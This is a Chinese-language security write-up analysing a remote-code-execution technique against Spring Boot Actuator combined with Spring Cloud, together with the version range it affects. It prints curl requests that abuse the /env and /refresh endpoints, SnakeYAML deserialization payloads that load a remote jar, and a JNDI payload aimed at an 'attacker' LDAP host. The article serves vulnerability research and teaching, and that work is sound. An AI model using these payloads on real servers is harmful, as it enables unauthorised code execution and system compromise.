文 | b1ngz@小米安全
0x01. TL;DR
今年二月份,Michael Stepankin 大佬写了一篇关于
Spring Boot Actuator
的利用文章
[1]
,文中介绍了多种利用思路和方式,接着作者在五月份的时候进行了更新,增加了在使用
Spring Cloud
相关组件时,
通过修改
spring.cloud.bootstrap.location
环境变量实现 RCE
的方法,因为网上没有找到该方法的分析文章,自己 debug 并记录了一下过程,主要内容包括:
通过修改环境变量实现 RCE 的原理和过程分析
SnakeYAML 反序列化介绍和利用
高版本 Spring Boot Actuator 利用测试和失败原因分析
自己的一些思考
本文中涉及到的代码和漏洞环境参考:
https://github.com/b1ngz/spring-boot-actuator-cloud-vul
0x02. RCE 分析
首先简单总结一下利用过程:
/env
endpoint 修改
spring.cloud.bootstrap.location
属性值为一个外部 yml 配置文件 url 地址,如:http://127.0.0.1:63712/yaml-payload.yml
/refresh
endpoint,触发程序下载外部 yml 文件,并由 SnakeYAML 库进行解析,因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数,结合 JDK 自带的
javax.script.ScriptEngineManager
类,可实现加载远程 jar 包,完成任意代码执行。
从过程中我们知道,命令执行是由于 SnakeYAML 在解析 YAML 文件时,存在反序列化漏洞导致的,来看一个使用 SnakeYAML 库反序列化的例子:
@Test
public void testYaml () {
Yaml yaml = new Yaml();
Object url = yaml.load( "!!java.net.URL [/"http://127.0.0.1:63712/yaml-payload.jar/"]" );
// class java.net.URL
System.out.println(url.getClass());
// http://127.0.0.1:63712/yaml-payload.jar
System.out.println(url);
}
SnakeYAML 支持
!!
+ 完整类名的方式来指定要反序列化的类,然后以
[arg1, arg2, ...]
的方式来传递构造方法参数,例子中的代码执行完后会出反序列化一个
java.net.URL
类的实例。
再来看一下文章给出的外部 yml 文件
yaml-payload.yml
的内容:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:61234/yaml-payload.jar"]
]]
]
SnakeYAML 处理上述内容的过程可以等价于以下 java 代码:
URL url = new URL( "http://127.0.0.1:63712/yaml-payload.jar" );
new ScriptEngineManager( newnew
URL[]{url}));
代码执行后,会从
http://127.0.0.1:63712/yaml-payload.jar
地址下载 jar 包,并在包中寻找一个
javax.script.ScriptEngineFactory
接口的实现类,然后实例化,因为这个 jar 包代码是可控的,因此可执行任意代码
。
大致过程明白了,接着我们来 debug 一下。
作者给出的
yaml-payload.jar
代码见
https://github.com/artsploit/yaml-payload,
关键代码为
Awesome ScriptEngineFactory.java
类,构造函数中使用 Runtime 来执行系统命令:
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory () {
try {
Runtime.getRuntime().exec( "/Applications/Calculator.app/Contents/MacOS/Calculator" );
} catch (IOException e) {
e.printStackTrace();
}
}
...
}
我们在
Runtime.exec()
方法下断点,调用栈如下:
方法调用顺序:
javax.script.ScriptEngineManager<init>
javax.script.ScriptEngineManager.init()
javax.script.ScriptEngineManager.initEngines()
java.util.ServiceLoader.LazyIterator.nextService()
artsploit.AwesomeScriptEngineFactory<init>
Runtime.getRuntime().exec()
在
ScriptEngineManager
类的
initEngines
方法中使用了 Java SPI 机
制来动态加载接口
ScriptEngineFactory
的实现类:
这也是为什么 jar 包中
AwesomeScriptEngineFactory
类需要实现
ScriptEngineFactory
接口、并且
META-INF/services
目录下需要有一个文件名为
javax.script.ScriptEngineFactory
,
值为实现类完整包名的原因,即需要符合 Java SPI 实现规范。
在
ServiceLoader
加载实现类的过程中,会调用无参数构造方法来创建实例,触发命令执行,对应代码在
ServiceLoader.LazyIterator
类的
nextService()
分析完 YAML 反序列化后,我们来看一下在 Spring Boot Actuator 中时的执行流程,漏洞环境和代码见 master 分支。
以 debug 模式运行漏洞环境,同样在
Runtime.exec()
方法下断点,首先修改
spring.cloud.bootstrap.location
curl -XPOST http://127.0.0.1:61234/env -d "spring.cloud.bootstrap.location=http://127.0.0.1:63712/yaml-payload.yml"
访问 http://127.0.0.1:61234/env,可以看到在
manager
下多了我们设置的值:
然后请求
/refresh
接口触发:
curl -XPOST http://127.0.0.1:61234/refresh
调用栈比较长,我们来看几个关键的地方,第一个是
RefreshEndpoint.refresh()
方法 ,即处理
/refresh
接口请求的类:
第二个是
BootstrapApplicationListener.bootstrapServiceContext()
方法,这里从环境变量中获取到了
spring.cloud.bootstrap.location
的值,即之前设置的外部 yml 文件 url:
接着会到
org.springframework.boot.env.PropertySourcesLoader.load()
方法,根据文件名后缀 (yml) ,使
用
YamlPropertySourceLoader
类加载 url 对应的 yml 配置文件。
根据右侧代码,因 spring-beans.jar 包含 snakeyaml.jar,因此
YamlpropertySourceLoader
在默认情况下是使用 SnakeYAML 库解析配置:
最终由
YamlProcessor.process()
方法中调用
Yaml.loadAll()
解析 yml 文件内容 ,之后的流程就和前面
SnakeYAML
反序列化过程类似,最终触发命令执行:
0x03. 高版本测试
作者在文章中给出的漏洞环境是 Spring Boot 1.x 版本,而在实际的测试过程中,遇到很多情况是 Spring Boot 2.x 版本。在 2.x 版本中,actuator 默认的 endpoint 前缀是
/actuator
,并且修改环境变量的
env
接口的 post body 也变成了 json 格式,步骤为:
修改环境变量
curl -XPOST -H "Content-Type: application/json" http://127.0.0.1:61234/actuator/env -d '{"name":"spring.cloud.bootstrap.location","value":"http://127.0.0.1:63712/yaml-payload.yml"}'
访问 http://127.0.0.1:61234/actuator/env,可以看到
propertySources
下多了刚才设置的值:
接着 refresh 触发:
curl -XPOST http://127.0.0.1:61234/actuator/refresh
执行完后,你会发现计算器并没有弹出,此时,黑人问号???只能再次 debug 找下原因,经过一番研究,发现是因为
spring.cloud.bootstrap.location
属性的值没有生效的缘故。
来回忆一下之前提到的第二个关键点
BootstrapApplicationListener.bootstrapServiceContext()
,这里从环境变量中获取到了
spring.cloud.bootstrap.location
的值,即之前设置的外部 yml 文件 url:
可以看到
configLocation
的值为空,即无法从
environment
解析到
${spring.cloud.bootstrap.location}
的值
。
通过对调用方法和变量的分析,发现是因为
environment
变量中的
propertySourceList
属性发生了变化。先来看一下 1.x 版本的,可以看到是包含名为
manager
的 PropertySource:
再来看一下 2.x 版本的,会发现没有了:
而PropertySources 的加载代码在
org.springframework.cloud.context.refresh.ContextRefresher
的
copyEnvironment()
方法中:
private StandardEnvironment copyEnvironment (ConfigurableEnvironment input)
相同的,我们先来看一下 1.x 的逻辑:
private StandardEnvironment copyEnvironment (ConfigurableEnvironment input) {
StandardEnvironment environment = new StandardEnvironment();
MutablePropertySources capturedPropertySources = environment.getPropertySources();
// 清空
for (PropertySource<?> source : capturedPropertySources) {
capturedPropertySources.remove(source.getName());
}
// 见下图
for (PropertySource<?> source : input.getPropertySources()) {
capturedPropertySources.addLast(source);
}
environment.setActiveProfiles(input.getActiveProfiles());
environment.setDefaultProfiles(input.getDefaultProfiles());
Map<String, Object> map = new HashMap<String, Object>();
map.put( "spring.jmx.enabled" , false );
map.put( "spring.main.sources" , "" );
capturedPropertySources
.addFirst( new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
return environment;
}
input.getPropertySources()
的值:
以下是 2.x 的逻辑:
private static final String[] DEFAULT_PROPERTY_SOURCES = new String[] {
// order matters, if cli args aren't first, things get messy
// commandLineArgs
CommandLinePropertySource.COMMAND_LINE_PROPERTY_SOURCE_NAME,
"defaultProperties" };
private StandardEnvironment copyEnvironment (ConfigurableEnvironment input) {
StandardEnvironment environment = new StandardEnvironment();
MutablePropertySources capturedPropertySources = environment.getPropertySources();
// 以下代码发生了变化
// environment (everything else should be pristine, just like it was> for (String name : DEFAULT_PROPERTY_SOURCES) {
if (input.getPropertySources().contains(name)) {
// 替换
if (capturedPropertySources.contains(name)) {
capturedPropertySources.replace(name,
input.getPropertySources().get(name));
}
else { // 添加
capturedPropertySources.addLast(input.getPropertySources().get(name));
}
}
}
environment.setActiveProfiles(input.getActiveProfiles());
environment.setDefaultProfiles(input.getDefaultProfiles());
Map<String, Object> map = new HashMap<String, Object>();
map.put( "spring.jmx.enabled" , false );
map.put( "spring.main.sources" , "" );
capturedPropertySources
.addFirst( new MapPropertySource(REFRESH_ARGS_PROPERTY_SOURCE, map));
return environment;
}
根据代码可以知道,只有 name 在
DEFAULT_PROP ERTY_SOURCES
中的
PropertySource
才会被处理,其值为 String 数组,仅包含
commandLineArgs
defaultProperties
manager
的
PropertySource
,因此不会被添加
environment的
propertySourc
es (capturedPropertySources)
中
,最终导致无法 resolve。
到此,可以确定通过修改
spring.cloud.bootstrap.location
属性实现
RCE 的方法在高版本下无法成功。
为了找到可利用的版本范围,看了下 git 的提交记录,发现该修改
(
https://github.com/spring-cloud/spring-cloud-commons
/commit/91f60b3f4cad8a5ce2976a43ee33220c39bd762b#diff-38bfd6c45be21acfba1aac62e7250f69)
是在
spring-cloud-commons
1
.3.0.RELEASE 合并的,因此只有依赖小于
1.3.0.RELEASE 才
受影响。
并且 Spring Cloud 相关 jar 包的依赖版本取决于
spring-cloud-dependencies
的版本,通过 pom.xml 可以知
道,spring-cloud-dependencies 的 Dalston.RELEASE 版本依赖的还是 1.2.0 的spring-cloud-commonsm,而
之后的版本则依赖 >= 1.3.0,根据文档
https://spring.io/projects/spring-cloud
中 Spring Cloud 对 Spring Boot 的版本适配说明:
我们可以知道:
Spring Boot 2.x 无法利用成功
Spring Boot 1.5.x 在使用
Dalston
版本时可利用成功,使用
Edgware
无法成功
Spring Boot <= 1.4 可利用成功
0x04. 思考
How to find?
作者是如何找到这个利用方式的?这个一直是看完这种大佬文章后第一个想知道答案的问题,也是最难的问题,这里尝试找到一些思路和线索。
首先,在不使用 Spring Cloud 组件时,Spring Boot Actuator 的
/env
endpoint 默认情况下只能读取环境变量的值,因此第一问题就是,如何得知有可以修改环境变量的功能?
这里就需要对 Spring 生态,如 Spring Boot, Spring Cloud 等,有一定的了解和使用经验,否则会无从下手。通过搜索
Spring Cloud
的文档,找到了相关说明
https://cloud.spring.io/spring-cloud-static/spring-cloud.html# _endpoints。
POST to /env to update the Environment and rebind @ConfigurationProperties and log levels
/refresh for re-loading the boot strap context and refreshing the @RefreshScope beans
从文档中,我们也知道了请求
/refresh
可以触发 bootstrap context reload,并加载修改后的环境变量,那么接下来的问题就是找到哪些环境变量是可以修改的,并且在 reload 之后会执行某些敏感的操作。根据文章中的说明,能修改的环境变量非常的多,需要一一尝试。
这里正向思考没有什么思路,转从逆向,尝试从
spring.cloud.bootstrap.location
入手,根据Spring文档中说明customizing-bootstrap-properties [6]
:
Thebootstrap.yml(or.properties) location can be specified by setting spring.cloud.bootstrap.name(default:bootstrap)or spring.cloud.bootstrap.location (default: empty) — for example, in System properties.
yml
和
properties
,对 Java 安全熟悉的朋友可能会联想到 yml 的解析会存在反序列化
[2]
的问题,如果这里配置文件的内容我们能够控制,就存在可以被利用的可能。
再下一步,就是结合 Spring Cloud 源码和动手 debug,确定
spring.cloud.bootstrap.location
环境变量的处理和配置文件的解析过程。根据前面的分析,我们知道代码中会下载指定的 yml 文件,并且使用 SnakeYAML 库进行解析,因此存在反序列化漏洞。
当然,实际的过程 会比刚才描述的要复杂很多,需要投入很多的时间和精力阅读文档、调试代码。
SnakeYAML Payload
从文档可知, 除 javax.script.ScriptEngineManager 类,我们还可以使用 com.sun.rowset.JdbcRowSetImpl 类, 通过 JNDI 注入来完成利用, ( https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf), payload 如下:
!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: ldap://attacker/obj
autoCommit: true
相比
ScriptEngineManager
,JNDI 注入在高版本 JDK 利用会有一些限制,不过因为 Spring Boot 默认使用 Tomcat 容器,仍可以成功利用,详细可参考 Michael Stepankin 大佬的另一篇文章 Exploiting JNDI Injections in Java9
(https://www.veracode.com/blog/research/exploiting-jndi-injections-java)
Changes In YamlPropertySourceLoader
在寻找高版本 Spring Boot Actuator 失败原因的过程中,也发现了即使
spring.cloud.bootstrap.location
能够成功 resolve,也仍然无法成功,原因在于 Spring boot 中解析 yml 的类
org.springframework.boot.env.YamlPropertySourceLoader
逻辑也发生了变化,测试代码如下:
@Test
public void test () throws Exception {
new YamlPropertySourceLoader().load( "name" , new ClassPathResource( "payload/yaml-payload.yml" ));
}
执行后会报如下错误:
错误信息很明显,实例化
java.net.URL
时,构造方法的参数类型不正确,debug 后发现,高版本的 Spring Boot 将解析后的值存放在了
org.springframework.boot.origin.OriginTrackedValue.$OriginTrackedCharSequence
类中,而不是 java.lang.String,导致在反射创建实例时失败。
0x05. 总结
文章简单分析了在同时使用
Spring Boot Actuator
和
Spring Cloud
时,利用修改
spring.cloud.bootstrap.location
环境变量实现 RCE 的原理和步骤,虽然在高版本中无法利用成功,但过程还是很值得学习。并且由于 Spring 生态的框架和组件非常的多,或许会有更多的利用方法,感兴趣的师父可以尝试研究一下。
最 后,因个人水平有限,文章中可能会有描述不准确或者错误的地方,欢迎大家指出和交流。
0x06. 参考
[1] Exploiting Spring Boot Actuators
(https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
[2] Java-Deserialization-Cheat-Sheet - SnakeYAML (YAML)
(https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#snakeyaml-yaml)
[3] Java Unmarshaller Security
(https://github.com/mbechler/marshalsec)
[4] SnakeYAML Documentation
(https://bitbucket.org/asomov/snakeyaml/wiki/Documentation)
[5] Spring Cloud
(https://spring.io/projects/spring-cloud)
[6] Spring Cloud Context: Application Context Services
(https://cloud.spring.io/spring-cloud-commons/multi/multi__spring_cloud_context_application_ context_services.html#_customizing_the_bootstrap_configuration)
[7]Spring Boot Actuator + Spring Cloud Vul Env
(https://github.com/b1ngz/spring-boot-actuator-cloud-vul)